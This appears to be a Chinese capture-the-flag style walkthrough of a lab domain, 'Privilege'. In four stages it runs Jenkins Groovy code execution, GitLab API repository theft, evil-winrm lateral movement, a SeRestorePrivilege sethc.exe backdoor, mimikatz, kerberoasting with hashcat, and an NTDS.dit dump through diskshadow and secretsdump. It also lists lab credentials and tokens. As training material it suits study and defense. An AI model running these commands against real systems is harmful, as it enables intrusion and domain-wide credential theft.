春秋云境-Privilege

学习点
一、Jenkins 后台 rce
jenkins管理员明文密码存放在 $JENKINS_HOME/secrets/initialAdminPassword
中,后台可以执行groovy脚本
二、Gitlab V4 API使用
通过api去操作gitlab,手册:https://docs.gitlab.com/ee/api/projects.html ,API列出所有项目
curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects" |
三、odat
ODAT (Oracle Database Attacking Tool),专门用于远程测试 Oracle 数据库安全性,wiki:
https://github.com/quentinhardy/odat/wiki
四、特权滥用提权
五、kerberoasting
Kerberoasting 攻击 、深入理解 Kerberoasting 攻击 、域渗透——Kerberoasting
六、SPN的发现与利用
七、卷影拷贝
域内用户Hash获取方式总结 、利用卷影拷贝服务提取ntds.dit 、内网渗透测试:从NTDS.dit获取域散列值
172.22.14.7 | XR-JENKINS | WordPress 服务(80 端口)、jenkins 服务(8080 端口) |
---|---|---|
172.22.14.16 | gitlab.xiaorang.lab | gitlab 服务器 |
172.22.14.31 | XR-ORACLE | oracle 数据库服务器 |
172.22.14.46 | XR-0923.xiaorang.lab | 内网 PC 机 |
172.22.14.11 | XR-DC.xiaorang.lab | 域控 |
第一关
请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。
80: wordpress
8080: Jenkins
端口扫描 -> 源码泄露 -> 代审 -> 任意文件读取
39.100.181.19:139 open |
Jenkins明文密码存储在:$JENKINS_HOME\secrets\initialAdminPassword
利用任意文件读密码:510235cf43f14e83b88a9f144199655b
登陆后访问/script/,命令执行
println "whoami".execute().text |
RDP:C:\Users\Administrator\flag\flag.txt
第二关
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
C:\Users\hack>ipconfig |
翻文件
GitLab API token
{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh} |
该token为加密,需要控制台解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText()) |
GitLab API token:
glpat-7kD_qLH2PiQv_ywB9hz2 |
fscan
start infoscan |
windows pc:
[*]172.22.14.7 |
通过gitlab v4 api 获取所有项目
curl -H "Private-Token: glpat-7kD_qLH2PiQv_ywB9hz2" http://172.22.14.16/api/v4/projects?simple=true |
将项目都git clone下来
git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/internal-secret.git |
发现一个密码本
还有一个oracle密码
jdbc:oracle:thin:@172.22.14.31:1521/orcl xradmin fcMyE8t9E4XdsKf |
mdut直连
第三关
攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。
密码本中发现 XR-0923 中的一个用户密码
XR-0923 | zhangshuai | wSbEajHzZs |
直接打一手winrm横向
proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
当前用户为地低权限,处于这两用户组中
Remote Desktop Users |
但是查看当前用户的特权发现存在一个易受提权攻击的特权 SeRestorePrivilege
此特权可以覆写文件,授予对系统上所有对象的写访问权,而不管它们的ACL如何,利用该特权特性通过以下三种方法实现提权
1、修改服务二进制文件 |
通过覆写sethc.exe
在rdp时触发替换的cmd.exe
添加管理员
net user hack$ Abc@123 /add |
第四关
尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。
当前域环境
域: xiaorang.lab |
直接mimikatz抓密码
privilege::debug |
发现域信息中只有一个机器账号
kerberos : |
通过该机器账号对域内做信息收集,通过kerberoasting查询域内SPN、提取TGS、转换为HASH,最后发现一个tianjing域账号
利用该机器账号凭证在攻击机上进行SPN发现 |
使用hashcat尝试本地爆破tianjing密码
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force |
出密码
tianjing:DPQSXSXgh2 |
通过BloodHound 发现 tianjing 可以和DC 建立 PSRemote 连接,直接使用winrm连接域控
proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
再次进行信息收集
又因为当前用户所具有的 SeBackupPrivilege特权,可以通过导出ntds.dit备份,本地导出域控hash!
上传command.txt到目标机器
set context persistent nowriters |
unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距
unix2dos raj.dsh |
上传后利用diskshadow进行卷影拷贝
diskshadow /s command.txt |
下载ntds和system用于解密hash
RoboCopy /b z:\windows\ntds . ntds.dit |
本地解密hash
impacket-secretsdump -ntds ntds.dit -system system local |
然后pth
proxychains4 evil-winrm -i 172.22.14.11 -u administrator -H "" |